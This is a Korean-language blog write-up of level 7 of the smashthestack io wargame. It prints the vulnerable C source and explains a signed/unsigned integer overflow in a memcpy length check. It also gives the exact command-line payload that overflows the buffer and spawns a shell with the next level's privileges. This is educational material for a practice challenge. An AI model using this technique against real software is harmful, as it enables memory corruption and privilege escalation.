본문 바로가기

pwnable/smashthestack - io

[smashthestack - io] level7 write up

728x90
level7@io:~$ ls -l
total 24
-rw-r--r-- 1 level7 level7 23261 Jul 25 22:33 tags

level7은 사실 설마? 하고 풀었는데 맞아버렸습니다..

코드는 아래와 같습니다.

#include <stdio.h>
#include <string.h>
#include <unistd.h>



int main(int argc, char **argv)
{

        int count = atoi(argv[1]);
        int buf[10];

        if(count >= 10 )
                return 1;


        memcpy(buf, argv[2], count * sizeof(int));

        if(count == 0x574f4c46) {
                printf("WIN!\n");
                execl("/bin/sh", "sh" ,NULL);
        } else
                printf("Not today son\n");


        return 0;
}

정말 간단합니다. 처음에 적은 라인 수를 보고 흡족했다가 머리 싸매고 망부석처럼 있었습니다..

보면 count를 atoi로 받고 count * sizeof(int)만큼 넘겨받습니다. int의 size는 x86에서 4바이트이기 때문에 buf도 40바이트의 크기를 갖게 됩니다. 하지만 여기서 count * sizeof(int)만큼 받는데 count가 10보다 크면 안 되기 때문에 buf를 overflow 시키지 못합니다. overflow라도 시키면 count값을 직접 써넣어줄 텐데....

 

혹시 나하고 -16도 해봤는데 안됐었고, (중간에 허튼짓들도 많이 하다가) 또 혹시나 해서 minimum int + 16을 해봤더니 됐습니다...

minimum int = -2,147,483,648

minimum int + 16 = -2,147,483,632

level7@io:/levels$ ./level07 -2147483632 `python -c 'print "A"*60 + "\x46\x4c\x4f\x57"'`
WIN!
sh-4.3$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1007(level7),1029(nosu)

 

사실 -2,147,483,632를 넣어본 이유는 0xfffffff0 = -0x00000010 과 같은 이유일까 봐해 봤었는데 찾아본 결과 type conversion 취약점으로 int overflow 시키는 것이라고 합니다. count에는 입력한 데로 -2,147,483,632가 들어있게 되지만 memcpy에서 세 번째 인자의 형이 unsigned int이기 때문에 -2,147,483,632가 16으로 된다는 것입니다.

 

 

잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다

 

<참고>

https://cd80.tistory.com/10?category=464571

https://qkqhxla1.tistory.com/m/283?category=572654

728x90

'pwnable > smashthestack - io' 카테고리의 다른 글

[smashthestack - io] level8 write up  (0) 2019.08.31
[smashthestack - io] level6 write up  (0) 2019.08.21
[smashthestack - io] level5 write up  (0) 2019.08.15